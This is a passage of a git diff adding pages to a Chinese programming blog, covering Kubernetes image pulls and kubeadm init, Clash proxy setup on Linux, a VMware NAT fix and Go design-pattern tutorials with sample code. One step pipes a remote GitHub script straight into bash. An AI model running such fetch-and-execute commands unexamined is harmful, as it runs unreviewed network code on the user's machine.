+	ctr -n k8s.io i rm "$aliimage"
+done;
+

或者也可以

$ curl https://raw.githubusercontent.com/246859/shell/main/k8s/aliyun_images_pull.sh | bash
+

初始化

接下来使用kubeadm来初始化,这个操作只用在master节点进行。init时有很多参数,开始前可以看看命令帮助。

$ kubeadm init -h
+Usage:
+  kubeadm init [flags]
+  kubeadm init [command]
+
+Available Commands:
+  phase       Use this command to invoke single phase of the init workflow
+
+Flags:
+      --apiserver-advertise-address string   The IP address the API Server will advertise it's listening on. If not set the default network interface will be used.
+      --apiserver-bind-port int32            Port for the API Server to bind to. (default 6443)
+      --apiserver-cert-extra-sans strings    Optional extra Subject Alternative Names (SANs) to use for the API Server serving certificate. Can be both IP addresses and DNS names.
+      --cert-dir string                      The path where to save and store the certificates. (default "/etc/kubernetes/pki")
+      --certificate-key string               Key used to encrypt the control-plane certificates in the kubeadm-certs Secret.
+      --config string                        Path to a kubeadm configuration file.
+      --control-plane-endpoint string        Specify a stable IP address or DNS name for the control plane.
+      --cri-socket string                    Path to the CRI socket to connect. If empty kubeadm will try to auto-detect this value; use this option only if you have more than one CRI installed or if you have non-standard CRI socket.
+      --dry-run                              Don't apply any changes; just output what would be done.
+      --feature-gates string                 A set of key=value pairs that describe feature gates for various features. Options are:
+                                             EtcdLearnerMode=true|false (ALPHA - default=false)
+                                             PublicKeysECDSA=true|false (ALPHA - default=false)
+                                             RootlessControlPlane=true|false (ALPHA - default=false)
+                                             UpgradeAddonsBeforeControlPlane=true|false (DEPRECATED - default=false)
+...
+...
+

接下来就开始初始化,如果上面的配置都做好了的话,是不会出现问题的。

$ sudo kubeadm init \
+--apiserver-advertise-address=192.168.48.138 \
+--image-repository=registry.aliyuncs.com/google_containers
+
上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/linux/clash_on_linux.html b/posts/code/linux/clash_on_linux.html new file mode 100644 index 0000000..d13ea77 --- /dev/null +++ b/posts/code/linux/clash_on_linux.html @@ -0,0 +1,74 @@ + + + + + + + + 在Linux上使用clash | 寒江蓑笠翁 + + + + + + +

在Linux上使用clash

寒江蓑笠翁大约 4 分钟Linuxclashubuntuproxy

在Linux上使用clash


最近在测试SteamAPI Client,不得不吐槽一下steam提供的web接口返回的响应结构真是多种多样,可以看的出来都是陈年老项目了。不过重点不是这个,虽然Steam的游戏服务在国内不需要梯子也可以访问,但是他们提供的接口如果不走代理的话,那基本上请求十次八次超时,为了解决这个问题只好在测试机上弄clash。

clash是用go编写的,一大好处就是安装非常方便,因为除了一个二进制文件其它什么都不需要,并且还是开源跨平台的。

安装

开源地址:Dreamacro/clash: A rule-based tunnel in Go. (github.com)open in new window

从release中找到最新版,然后找到对应的版本。

wget下载到本地

$ wget https://github.com/Dreamacro/clash/releases/download/v1.18.0/clash-linux-amd64-v1.18.0.gz
+

gzip解压

$ gzip -d clash-linux-amd64-v1.18.0.gz
+

为了方便使用将其链接到bin目录下

$ ln -s clash-linux-amd64-v1.18.0 /usr/local/bin/clash
+

完事后查看版本,输出没问题就是安装成功了

$ clash -v
+Clash v1.18.0 linux amd64 with go1.21.0 Thu Aug 17 14:46:28 UTC 2023
+

代理

导入配置文件,clash的配置文件相当复杂,一般你的代理服务商都会提供现有的配置以供导入,比如我使用的glados

$ curl http_config_url > glados.yaml
+

然后启动clash,指定配置文件和路径,-d指的是配置目录,clash在刚开始时会尝试下载country.db如果不存在的话。

$ clash -f  glados.yaml -d .
+

有如下输出即可

INFO[0000] Start initial compatible provider Auto-Failover 
+INFO[0000] Start initial compatible provider Auto-Edge  
+INFO[0000] Start initial compatible provider OPENAI-NOT-STABLE 
+INFO[0000] Start initial compatible provider NETFLIX    
+INFO[0000] Start initial compatible provider Video      
+INFO[0000] Start initial compatible provider Auto-Fast  
+INFO[0000] Start initial compatible provider Auto       
+INFO[0000] Start initial compatible provider Proxy      
+INFO[0000] Start initial compatible provider Express    
+INFO[0000] inbound http://127.0.0.1:7890 create success. 
+INFO[0000] inbound socks://127.0.0.1:7891 create success. 
+INFO[0000] RESTful API listening at: 127.0.0.1:9090
+

可以看到http代理端口7890,由于socks不需要就不配置。

$ export http_proxy=http://127.0.0.1:7890
+$ export https_proxy=https://127.0.0.1:7890
+

在配置生效前来看看请求steamapi是什么效果,可以看到失败了。

$ curl https://api.steampowered.com/ISteamWebAPIUtil/GetServerInfo/v1/
+curl: (56) OpenSSL SSL_read: error:0A000126:SSL routines::unexpected eof while reading, errno 0
+

在开启clash后

$ curl https://api.steampowered.com/ISteamWebAPIUtil/GetServerInfo/v1/
+{"servertime":1694693304,"servertimestring":"Thu Sep 14 05:08:24 2023"}
+

clash日志这里也有输出,是走了代理的

NFO[0036] [TCP] 127.0.0.1:32822 --> api.steampowered.com:443 match DomainSuffix(steampowered.com) using GLaDOS-D1-01
+

如果有需求的话,可以做成系统服务,进行更加方便的管理。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/linux/index.html b/posts/code/linux/index.html index 102997d..e586129 100644 --- a/posts/code/linux/index.html +++ b/posts/code/linux/index.html @@ -5,7 +5,7 @@ - Linux | 紫狐 +Linux | 寒江蓑笠翁 + + + + + +

Vmware虚拟机Nat模式网络不通

寒江蓑笠翁大约 2 分钟Linuxlinuxubuntu虚拟机

Vmware虚拟机Nat模式网络不通


我的主机是win10,主要拿来写代码,一些服务比如数据库什么的都是搭建在虚拟机里面,有一天打开的虚拟机的时候发现没法访问数据库了,尝试Ping了一下也不成功。

虚拟机用的是Ubuntu22.04版本,Nat模式出现这种情况可能就是网段不一致,在cmd上执行ipconfig命令看了看发现果然是这样

可以看到Vm8网卡的自动配置的IPV4地址网段与虚拟机并不一致,由于设置了自动配置,不知道什么时候改的,这里需要手动的设置一下。在win10界面打开控制面板查看网卡设置,选择Vm8虚拟网卡,接下来需要手动的配置IP地址。

将IP地址设置成与虚拟机同一个网段即可,DNS服务器选择国内通用的114.114.114.114,备用的DNS服务器是谷歌的8.8.8.8,完成后再来试一试。

并且虚拟机也可以ping通主机

于是问题就解决了。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/pattern/00.start.html b/posts/code/pattern/00.start.html new file mode 100644 index 0000000..daf755a --- /dev/null +++ b/posts/code/pattern/00.start.html @@ -0,0 +1,48 @@ + + + + + + + + 所谓模式 | 寒江蓑笠翁 + + + + + + +

所谓模式

寒江蓑笠翁大约 6 分钟设计模式设计模式go

所谓模式

要说将设计模式发扬光大的语言还得是Java,虽然本质上来说,设计模式是一门语言无关的学问,但几乎所有设计模式的教学语言都是用的是Java,毫无疑问Java是使用设计模式最多的语言,因为它是一个很典型的面向对象的语言,万物皆对象,很显然设计模式就是面向对象的,这是一个优点也是一个缺点,因为有时候过度设计同样会造成难以维护的问题。设计模式起源于建筑工程行业而非计算机行业,它并不像算法一样是经过严谨缜密的逻辑推算出来的,而是经过不断的实践与测试总结出来的经验。使用设计模式是为了代码重用性更好,更容易被他人理解,以及更好维护的代码结构。

对于Go而言,也很有学习设计模式的必要,不过需要注意的是,并不是任何时候都需要设计模式,设计模式本就是前人总结的经验,也会有不适用的时候,这些需要自行判断,拒绝言必设计模式。学习设计模式是为了提升编码水平,而不是限制我们的思想。

提示

Go本身是没有类的说法,与之相似的只有结构体,但是Go又是一门比较偏向于面向对象的语言,所以往后所称的类都是在指接口或结构体。

类型

设计模式中总共有6大原则,23种设计模式。设计模式大概可分为三类:创建型,结构型,行为型。

类型模式
创建型工厂模式,抽象工厂模式,单例模式,建造者模式,原型模式
结构型适配器模式,桥接模式,过滤器模式,组合模式,装饰器模式,外观模式,享元模式,代理模式
行为型责任链模式,命令模式,解释器模式,迭代器模式,中介者模式,备忘录模式,观察者模式,状态模式,空对象模式,策略模式,模板模式,访问者模式

原则

6大原则分别是:

  • 开闭原则
  • 单一职责原则
  • 里氏替换原则
  • 依赖倒转原则
  • 接口隔离原则
  • 迪米特法则
  • 合成复用原则

提示

设计模式这种东西光看介绍是看不懂的,背下来也没用,因为本就是实践才出来东西,不亲自敲一遍是不知道到底是个怎么回事,而且一千个人有一千个写法,例如在本站的设计模式看不懂,说不定去看看其他人的实现就豁然开朗了。顺便提醒一下,如果带着纯粹的面向对象的眼光去看待和学习Go语言,将会十分的痛苦与折磨,Go抛弃了类和继承的概念,对于习惯了Java这类语言的程序员来说是十分不友好的。

本章借鉴了:senghoo/golang-design-pattern: 设计模式 Golang实现-《研磨设计模式》读书笔记 (github.com)open in new window

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/pattern/01.principle.html b/posts/code/pattern/01.principle.html new file mode 100644 index 0000000..c6d8660 --- /dev/null +++ b/posts/code/pattern/01.principle.html @@ -0,0 +1,48 @@ + + + + + + + + 设计原则 | 寒江蓑笠翁 + + + + + + +

设计原则

寒江蓑笠翁大约 5 分钟设计模式设计模式go

设计原则

这六大原则是比较经典的,它们是所有设计模式的基石,也是编码的基本规范,前面讲到不要过度设计,但六大原则是一个优秀的代码应当遵守最基本的规范。

开闭原则

这是一个十分经典的原则,也是最基础的原则,就只有10个字的内容,对拓展开放,对修改关闭。一个程序应当具有相应的拓展性,假设开发了一个Go第三方依赖库,倘若调用者想要自定义功能只能去修改依赖库的源代码,但是每个人都有不同的需求,难道每个人都要改一遍源代码吗,这么做的结果显然是非常恐怖的,代码会变得异常难以维护。

单一职责原则

一个接口,或则一个结构体,或者一个函数,都应当被封装的只有一个职责。这个原则是为了降低代码耦合度,应当尽可能负责更少的功能,而不是全部糅杂在一起。

里氏替换原则

这个原则的原意会比较晦涩难懂,在实现接口或者”继承“时会用到的比较多,原文是:“如果S是T的子类型,对于S类型的任意对象,如果将他们看作是T类型的对象,则对象的行为也理应与期望的行为一致”。替换指的是任何实现T类型的对象或者子类,都可以当作成T类型的对象来使用,行为一致指的得是被替换后,原有的功能正常使用,不会有任何变化。

里氏替换原则本质上就是多态,结合依赖倒转原则一起使用就是面向接口编程的核心思想。

依赖倒转原则

依赖倒转原则指的是:针对抽象接口编程,而非针对具体实现。例如在编写一个函数或方法时,对于参数我们都会将其设置为对应的接口类型,而不是接口的实现,这样有利于后续的拓展。

接口隔离原则

接口隔离原则值得是尽量降低接口的耦合度,接口要尽量的小,而不是把所有东西都糅杂到接口里,依赖该接口的调用者,不应当访问到不需要用到的接口方法,接口内不应该存在调用者不需要的接口给方法。

最少知道法则

又称迪米特法则,接口与接口之间,模块与模块之间,实体与实体之间应当只存在最低限度的认识和相互作用,使得功能相对独立而受到的影响最少。

合成复用原则

复用时尽可能的使用组合聚合的关系,而不是继承。继承确实可以很简单的复用,但是这会破坏封装性,灵活性低,耦合度高。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/pattern/02.create.html b/posts/code/pattern/02.create.html new file mode 100644 index 0000000..244e883 --- /dev/null +++ b/posts/code/pattern/02.create.html @@ -0,0 +1,353 @@ + + + + + + + + 创建型模式 | 寒江蓑笠翁 + + + + + + +

创建型模式

寒江蓑笠翁大约 17 分钟设计模式设计模式go

创建型模式

创建型模式的主要关注点是“怎样创建对象?”,它的主要特点是“将对象的创建与使用分离”。 这样可以降低系统的耦合度,使用者不需要关注对象的创建细节。

简单工厂模式

这种类型的设计模式属于创建型模式,它提供了一种创建对象的最佳方式。在工厂模式中,我们在创建对象时不会对客户端暴露创建逻辑,并且是通过使用一个共同的接口来指向新创建的对象。

在Go中是没有构造函数的说法,一般会定义Newxxxx函数来初始化相关的结构体或接口,而通过Newxxx函数来初始化返回接口时就是简单工厂模式,一般对于Go而言,最推荐的做法就是简单工厂。

// Creature 生物接口
+type Creature interface {
+   run()
+}
+
+// Human 实现了生物接口
+type Human struct {
+}
+
+func (h Human) run() {
+
+}
+
+// Animal 实现了生物接口
+type Animal struct {
+}
+
+func (a Animal) run() {
+
+}
+
+// 这就是简单工厂
+func NewCreature(types string) Creature {
+   // 创建逻辑
+   if len(types) == 0 {
+      return &Human{}
+   }
+   return &Animal{}
+}
+

对于Go而言,工厂模式显得不那么重要,因为Go并不像Java万物都需要new出来,也并不需要一个专门的接口或者结构体来统一管理创建对象,并且Go的调用是基于包而不是结构体或者接口。

优点:封装了创建的逻辑

缺点:每新增一个生物的实现,就要修改一次创建逻辑

工厂方法模式

工厂方法的区别在于,简单工厂是直接创建对象并返回,而工厂模式只定义一个接口,将创建的逻辑交给其子类来实现,即将创建的逻辑延迟到子类。

  • 抽象工厂(Abstract Factory):提供了创建产品的接口,调用者通过它访问具体工厂的工厂方法来创建产品。
  • 具体工厂(ConcreteFactory):主要是实现抽象工厂中的抽象方法,完成具体产品的创建。
  • 抽象产品(Product):定义了产品的规范,描述了产品的主要特性和功能。
  • 具体产品(ConcreteProduct):实现了抽象产品角色所定义的接口,由具体工厂来创建,它同具体工厂之间一一对应。
// Creature 抽象生物接口
+type Creature interface {
+	run()
+}
+
+// Human 实现了生物接口
+type Human struct {
+}
+
+func (h Human) run() {
+	fmt.Println("人类在跑")
+}
+
+// Animal 实现了生物接口
+type Animal struct {
+}
+
+func (a Animal) run() {
+	fmt.Println("动物在跑")
+}
+
+// 生物抽象工厂
+type CreatureFactory interface {
+	creature() Creature
+}
+
+// 实现生物工厂的人类具体工厂
+type HumanFactory struct {
+}
+
+
+func (h HumanFactory) creature() Creature {
+	return &Human{}
+}
+
+// 实现生物工厂的动物具体工厂
+type AnimalFactory struct {
+}
+
+func (a AnimalFactory) creature() Creature {
+	return &Animal{}
+}
+
+func TestFactory(t *testing.T) {
+	var factory CreatureFactory
+	factory = HumanFactory{}
+	factory.creature().run()
+	factory = AnimalFactory{}
+	factory.creature().run()
+}
+

输出

人类在跑
+动物在跑
+

优点:封装了创建逻辑,将创建逻辑延迟到子类

缺点:新增一个生物实现时不需要再修改原有的逻辑,但需要新增一个对应的工厂实现。

抽象工厂模式

抽象工厂模式是工厂方法模式的升级版本,工厂方法模式只生产一个等级的产品,而抽象工厂模式可生产多个等级的产品。

  • 抽象工厂(Abstract Factory):提供了创建产品的接口,它包含多个创建产品的方法,可以创建多个不同等级的产品。
  • 具体工厂(Concrete Factory):主要是实现抽象工厂中的多个抽象方法,完成具体产品的创建。
  • 抽象产品(Product):定义了产品的规范,描述了产品的主要特性和功能,抽象工厂模式有多个抽象产品。
  • 具体产品(ConcreteProduct):实现了抽象产品角色所定义的接口,由具体工厂来创建,它同具体工厂之间是多对一的关系。

接下来创建一个职业接口,有工匠和士兵两个职业,人分为亚洲人,欧洲人。倘若继续使用工厂方法模式,就需要给人创建一个抽象工厂,再分别创建两个人种创建具体工厂,职业也是类似,一个工厂只能创建同一类的实体,这样做会导致代码量大幅度增加。抽象工厂就是为了解决这个问题而生的。

// 工人
+type Worker interface {
+   Work()
+}
+
+// 亚洲工人
+type AsianWorker struct {
+}
+
+func (a AsianWorker) Work() {
+   fmt.Println("Asian worker  work")
+}
+
+// 欧洲工人
+type EuropeanWorker struct {
+}
+
+func (e EuropeanWorker) Work() {
+   fmt.Println("European worker  work")
+}
+
+// 士兵
+type Solder interface {
+   Attack()
+}
+
+// 亚洲士兵
+type AsianSolder struct {
+}
+
+func (a AsianSolder) Attack() {
+   fmt.Println("AsianSolder attack")
+}
+
+// 欧洲士兵
+type EuropeanSolder struct {
+}
+
+func (e EuropeanSolder) Attack() {
+   fmt.Println("EuropeanSolder attack")
+}
+
+// 人类抽象工厂
+type HumansFactory interface {
+   CreateWorker() Worker
+   CreateSolder() Solder
+}
+
+// 亚洲工厂
+type AsiansFactory struct {
+}
+
+func (a AsiansFactory) CreateWorker() Worker {
+   return AsianWorker{}
+}
+func (a AsiansFactory) CreateSolder() Solder {
+   return AsianSolder{}
+}
+
+// 欧洲工厂
+type EuropeanFactory struct {
+}
+
+func (e EuropeanFactory) CreateWorker() Worker {
+   return EuropeanWorker{}
+}
+func (e EuropeanFactory) CreateSolder() Solder {
+   return EuropeanSolder{}
+}
+

优点:当更换一套适用的规则时,例如将全部亚洲人换成欧洲人,可以做到无缝更换,只需要换一个工厂即可,不会有任何影响。

缺点:当内部出现变化的话,几乎所有工厂都要做出对应的变化,例如新增一个人种或新增一个职业。

建造者模式

建造者模式可以将部件和其组装过程分开,一步一步创建一个复杂的对象。用户只需要指定复杂对象的类型就可以得到该对象,而无须知道其内部的具体构造细节。

抽象建造者类(Builder):这个接口规定要实现复杂对象的那些部分的创建,并不涉及具体的部件对象的创建。

具体建造者类(ConcreteBuilder):实现Builder接口,完成复杂产品的各个部件的具体创建方法。在构造过程完成后,提供产品的实例。

产品类(Product):要创建的复杂对象。

指挥者类(Director):调用具体建造者来创建复杂对象的各个部分,在指导者中不涉及具体产品的信息,只负责保证对象各部分完整创建或按某种顺序创建。

下面以造汽车为例子,汽车需要安装引擎,轮胎,地盘,车架。需要一个汽车建造者接口,和两个实现,分别是卡车建造者和公交车建造者,最后是一个指挥者。

type Car struct {
+   engine  string
+   wheel   string
+   chassis string
+   frame   string
+}
+
+func (c *Car) SetEngine(engine string) {
+   c.engine = engine
+}
+
+func (c *Car) SetWheel(wheel string) {
+   c.wheel = wheel
+}
+
+func (c *Car) SetChassis(chassis string) {
+   c.chassis = chassis
+}
+
+func (c *Car) SetFrame(frame string) {
+   c.frame = frame
+}
+
+func (c *Car) String() string {
+   return fmt.Sprintf("%s %s %s %s", c.engine, c.wheel, c.chassis, c.frame)
+}
+
+// 汽车建造者
+type CarBuilder interface {
+   BuildEngine()
+   BuildWheel()
+   BuildChassis()
+   BuildFrame()
+   Build() *Car
+}
+
+//指挥者
+type CarDirector struct {
+   builder *CarBuilder
+}
+
+func NewCarDirector(builder CarBuilder) *CarDirector {
+   return &CarDirector{builder: &builder}
+}
+
+func (d *CarDirector) Build() *Car {
+   (*d.builder).BuildEngine()
+   (*d.builder).BuildWheel()
+   (*d.builder).BuildChassis()
+   (*d.builder).BuildFrame()
+   return (*d.builder).Build()
+}
+
+// 卡车建造者
+type TruckBuilder struct {
+   truck *Car
+}
+
+func NewTruckBuilder() *TruckBuilder {
+   return &TruckBuilder{truck: &Car{}}
+}
+
+func (t *TruckBuilder) BuildEngine() {
+   t.truck.SetEngine("卡车引擎")
+}
+
+func (t *TruckBuilder) BuildWheel() {
+   t.truck.SetWheel("卡车轮胎")
+}
+
+func (t *TruckBuilder) BuildChassis() {
+   t.truck.SetChassis("卡车底盘")
+}
+
+func (t *TruckBuilder) BuildFrame() {
+   t.truck.SetFrame("卡车车架")
+}
+
+func (t *TruckBuilder) Build() *Car {
+   return t.truck
+}
+
+// 公交车建造者
+type BusBuilder struct {
+   bus *Car
+}
+
+func NewBusBuilder() *BusBuilder {
+   return &BusBuilder{bus: &Car{}}
+}
+
+func (b *BusBuilder) BuildEngine() {
+   b.bus.SetEngine("巴士引擎")
+}
+
+func (b *BusBuilder) BuildWheel() {
+   b.bus.SetWheel("巴士轮胎")
+}
+
+func (b *BusBuilder) BuildChassis() {
+   b.bus.SetChassis("巴士底盘")
+}
+
+func (b *BusBuilder) BuildFrame() {
+   b.bus.SetFrame("巴士车架")
+}
+
+func (b *BusBuilder) Build() *Car {
+   return b.bus
+}
+
+func TestBuilder(t *testing.T) {
+   director := NewCarDirector(NewTruckBuilder())
+   fmt.Println(director.Build().String())
+   director = NewCarDirector(NewBusBuilder())
+   fmt.Println(director.Build().String())
+}
+

输出

卡车引擎 卡车轮胎 卡车底盘 卡车车架
+巴士引擎 巴士轮胎 巴士底盘 巴士车架
+

一般建造者模式在部件构建顺序和次序不太复杂的时候,都会选择将指挥者嵌入建造者中,本例选择分离了出来,比较符合单一职责原则,并且可以修改一下逻辑,改为链式调用会更好些。

优点:建造者模式的封装性很好。使用建造者模式可以有效的封装变化,在使用建造者模式的场景中,一般产品类和建造者类是比较稳定的,因此,将主要的业务逻辑封装在指挥者类中对整体而言可以取得比较好的稳定性。

缺点:造者模式所创建的产品一般具有较多的共同点,其组成部分相似,如果产品之间的差异性很大,则不适合使用建造者模式,因此其使用范围受到一定的限制。

原型模式

用一个已经创建的实例作为原型,通过复制该原型对象来创建一个和原型对象相同的新对象。

抽象原型类:规定了具体原型对象必须实现的的 clone() 方法。

具体原型类:实现抽象原型类的 clone() 方法,它是可被复制的对象。

访问类:使用具体原型类中的 clone() 方法来复制新的对象。

type Cloneable interface {
+   Clone() Cloneable
+}
+
+type Person struct {
+   name string
+}
+
+func (p Person) Clone() Cloneable {
+   return Person{p.name}
+}
+
+func TestClone(t *testing.T) {
+   person := Person{"jack"}
+   person1 := person.Clone().(Person)
+   fmt.Println(person1)
+}
+

提示

在Go中深克隆一个对象并不属于设计模式的范畴

单例模式

这种模式涉及到一个单一的类,该类负责创建自己的对象,同时确保只有单个对象被创建。这个类提供了一种访问其唯一的对象的方式,可以直接访问,不需要实例化该类的对象。

type Singleton struct {
+}
+
+var singleton *Singleton
+
+var once sync.Once
+
+// 懒汉方式 双重检查锁 线程安全
+func Instance() *Singleton {
+   once.Do(func() {
+      singleton = &Singleton{}
+   })
+   return singleton
+}
+
+// 饿汉方式 init加载
+func init() {
+   singleton = &Singleton{}
+}
+

懒汉方式是延迟加载,即被访问时才加载,饿汉方式是当包加载时该单例就被加载。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/pattern/03.structure.html b/posts/code/pattern/03.structure.html new file mode 100644 index 0000000..05cc2e7 --- /dev/null +++ b/posts/code/pattern/03.structure.html @@ -0,0 +1,397 @@ + + + + + + + + 结构型模式 | 寒江蓑笠翁 + + + + + + +

结构型模式

寒江蓑笠翁大约 24 分钟设计模式设计模式go

结构型模式

结构型模式描述如何将类或对象按某种布局组成更大的结构。它分为类结构型模式和对象结构型模式, 前者采用继承机制来组织接口和类,后者釆用组合或聚合来组合对象。 由于组合关系或聚合关系比继承关系耦合度低,满足“合成复用原则”,所以对象结构型模式比类结构型 模式具有更大的灵活性。

代理模式

由于某些原因需要给某对象提供一个代理以控制对该对象的访问。这时,访问对象不适合或者不能直接引用目标对象,代理对象作为访问对象和目标对象之间的中介。

  • 抽象主题(Subject)接口: 通过接口或抽象类声明真实主题和代理对象实现的业务方法。

  • 真实主题(Real Subject)类: 实现了抽象主题中的具体业务,是代理对象所代表的真实对象,是最终要引用的对象。

  • 代理(Proxy)类 :提供了与真实主题相同的接口,其内部含有对真实主题的引用,它可以访问,控制或扩展真实主题的功能。

// 抽象主题
+type Subject interface {
+	Do()
+}
+
+// 具体主题
+type RealSubject struct {
+}
+
+func (r RealSubject) Do() {
+	fmt.Println("do something")
+}
+
+// 代理
+type ProxySubject struct {
+	sub Subject
+}
+
+func (p ProxySubject) Do() {
+	fmt.Println("before")
+	p.sub.Do()
+	fmt.Println("after")
+}
+
+func NewProxy() ProxySubject {
+	return ProxySubject{sub: RealSubject{}}
+}
+
+func TestProxy(t *testing.T) {
+	proxy := NewProxy()
+	proxy.Do()
+}
+

上述这种代理方式是静态代理,对Java有过了解的人可能会想着在Go中搞动态代理,但显然这是不可能的。要知道动态代理的核心是反射,Go确实支持反射,但不要忘了一点是Go是纯粹的静态编译型语言,而Java看似是一个编译型语言,但其实是一个动态的解释型语言,JDK动态代理就是在运行时生成字节码然后通过类加载器加载进JVM的,这对于Go来讲是完全不可能的事情。

适配器模式

将一个类的接口转换成客户希望的另外一个接口,使得原本由于接口不兼容而不能一起工作的那些类能一起工作。 适配器模式分为类适配器模式和对象适配器模式,前者类之间的耦合度比后者高,且要求程序员了解现有组件库中的相关组件的内部结构,所以应用相对较少些。

  • 目标(Target)接口:当前系统业务所期待的接口,它可以是抽象类或接口。
  • 适配者(Adaptee)类:它是被访问和适配的现存组件库中的组件接口。
  • 适配器(Adapter)类:它是一个转换器,通过继承或引用适配者的对象,把适配者接口转换成目标接口,让客户按目标接口的格式访问适配者。

举个例子,现在有一个苹果手机,它只支持苹果充电器,但是手上只有一个安卓充电器,这时候需要一个适配器让安卓充电器也可以给苹果手机充电。

适配模式分类适配和对象适配,区别在于前者在适配原有组件时使用的是继承,而后者是组合,通常建议用后者。

// 苹果充电器
+type IphoneCharge interface {
+	IosCharge() string
+}
+
+// 安卓充电器
+type AndroidCharge struct {
+}
+
+// 安卓可以Type-c充电
+func (a AndroidCharge) TypeCCharge() string {
+	return "type-c charge"
+}
+
+// 适配器
+type Adapter struct {
+	android AndroidCharge
+}
+
+// 适配器组合了安卓充电器,又实现了苹果充电器的接口
+func (a *Adapter) IosCharge() string {
+	fmt.Println(a.android.TypeCCharge())
+	fmt.Println("type-c to ios charge")
+	return "iphone charge"
+}
+
+func TestAdapter(t *testing.T) {
+	var ios IphoneCharge
+	ios = &Adapter{AndroidCharge{}}
+	fmt.Println(ios.IosCharge())
+}
+

装饰模式

装饰模式又名包装(Wrapper)模式。装饰模式以对客户端透明的方式扩展对象的功能,是继承关系的一个替代方案。

  • 抽象构件(Component)角色 :定义一个抽象接口以规范准备接收附加责任的对象。
  • 具体构件(Concrete Component)角色:实现抽象构件,通过装饰角色为其添加一些职责。
  • 抽象装饰(Decorator)角色 :继承或实现抽象构件,并包含具体构件的实例,可以通过其子类扩展具体构件的功能。
  • 具体装饰(ConcreteDecorator)角色 :实现抽象装饰的相关方法,并给具体构件对象添加附加的责任。

在Go语言中可以通过实现或者匿名组合可以很轻易的实现装饰者模式,装饰者模式又分为全透明和半透明,区别在于是否改变被装饰接口的定义。

// 汽车接口
+type Car interface {
+   Run()
+}
+
+// 卡车
+type Truck struct {
+}
+
+func (t Truck) Run() {
+   fmt.Println("Truck can run")
+}
+
+//会飞的卡车
+type CarCanFlyDecorator interface {
+   Car
+}
+
+type TruckDecorator struct {
+   car Car
+}
+
+// 对原有方法进行增强,没有改变定义
+func (t TruckDecorator) Run() {
+   t.car.Run()
+   fmt.Println("truck can fly")
+}
+
+func Test(t *testing.T) {
+   var car Car
+   car = Truck{}
+   car.Run()
+   car = TruckDecorator{car}
+   car.Run()
+}
+

这是全透明的装饰模式

type Car interface {
+   Run()
+}
+
+type Truck struct {
+}
+
+func (t Truck) Run() {
+   fmt.Println("Truck can run")
+}
+
+// 修改了接口定义
+type CarCanFlyDecorator interface {
+   Car
+   Fly()
+}
+
+type TruckDecorator struct {
+   car Car
+}
+
+func (t TruckDecorator) Run() {
+   t.car.Run()
+}
+
+func (t TruckDecorator) Fly() {
+   fmt.Println("truck can fly")
+}
+
+func Test(t *testing.T) {
+   var car Car
+   car = Truck{}
+   car.Run()
+   var flyCar CarCanFlyDecorator
+   flyCar = TruckDecorator{car}
+   flyCar.Run()
+   flyCar.Fly()
+}
+

这是半透明装饰模式,半透明的装饰模式是介于装饰模式和适配器模式之间的。适配器模式的用意是改变所考虑的类的接口,也可以通过改写一个或几个方法,或增加新的方法来增强或改变所考虑的类的功能。大多数的装饰模式实际上是半透明的装饰模式,这样的装饰模式也称做半装饰、半适配器模式。

代理模式和透明装饰者模式的区别

相同点

  • 都要实现与目标类相同的业务接口
  • 都要声明目标对象为成员变量
  • 都可以在不修改目标类的前提下增强目标方法

不同点

  • 目的不同装饰者是为了增强目标对象静态代理是为了保护和隐藏目标对象
  • 获取目标对象构建的地方不同装饰者是由外界传递进来,可以通过构造方法传递静态代理是在代理类内部创建,以此来隐藏目标对象

外观模式

又名门面模式,是一种通过为多个复杂的子系统提供一个一致的接口,而使这些子系统更加容易被访问的模式。该模式对外有一个统一接口,外部应用程序不用关心内部子系统的具体的细节,这样会大大降低应用程序的复杂度,提高了程序的可维护性,是迪米特法则的典型应用。

  • 外观(Facade)角色:为多个子系统对外提供一个共同的接口。
  • 子系统(Sub System)角色:实现系统的部分功能,客户可以通过外观角色访问它。

例子:以前到家需要自己手动开电视,开空调,现在有了智能控制器,可以直接控制电视和空调,不再需要手动操作

// 电视
+type Tv struct {
+}
+
+func (t Tv) TurnOn() {
+   fmt.Println("电视打开了")
+}
+
+func (t Tv) TurnOff() {
+   fmt.Println("电视关闭了")
+}
+
+// 风扇
+type Fan struct {
+}
+
+func (f Fan) TurnOn() {
+   fmt.Println("风扇打开了")
+}
+
+func (f Fan) TurnOff() {
+   fmt.Println("风扇关闭了")
+}
+
+// 智能遥控器
+type Facade struct {
+   tv  Tv
+   fan Fan
+}
+
+func NewFacade() *Facade {
+   return &Facade{tv: Tv{}, fan: Fan{}}
+}
+
+func (f Facade) TurnOnTv() {
+   f.tv.TurnOn()
+}
+
+func (f Facade) TurnOnFan() {
+   f.fan.TurnOn()
+}
+
+func (f Facade) TurnOffTv() {
+   f.tv.TurnOff()
+}
+
+func (f Facade) TurnOffFan() {
+   f.fan.TurnOff()
+}
+
+func TestFacade(t *testing.T) {
+   facade := NewFacade()
+   facade.TurnOnTv()
+   facade.TurnOnFan()
+   facade.TurnOffTv()
+   facade.TurnOffFan()
+}
+

优点

降低了子系统与客户端之间的耦合度,使得子系统的变化不会影响调用它的客户类。

对客户屏蔽了子系统组件,减少了客户处理的对象数目,并使得子系统使用起来更加容易。

缺点

不符合开闭原则,修改很麻烦

桥接模式

将抽象与实现分离,使它们可以独立变化。它是用组合关系代替继承关系来实现,从而降低了抽象和实现这两个可变维度的耦合度。

例子:需要开发一个跨平台视频播放器,可以在不同操作系统平台(如Windows、Mac、Linux等)上播放多种格式的视频文件,常见的视频格式包括RMVB、AVI等。该播放器包含了两个维度,适合使用桥接模式。

// 视频文件接口
+type VideoFile interface {
+   decode() string
+}
+
+type AVI struct {
+}
+
+func (a AVI) decode() string {
+   return "AVI"
+}
+
+type RMVB struct {
+}
+
+func (R RMVB) decode() string {
+   return "RMVB"
+}
+
+// 操作系统
+type OS struct {
+   videoFile VideoFile
+}
+
+// 播放文件
+func (o OS) Play() {
+   panic("overwrite me!")
+}
+
+type Windows struct {
+   OS
+}
+
+func (w Windows) Play() {
+   fmt.Println("windows" + w.OS.videoFile.decode())
+}
+
+type Mac struct {
+   OS
+}
+
+func (m Mac) Play() {
+   fmt.Println("mac" + m.OS.videoFile.decode())
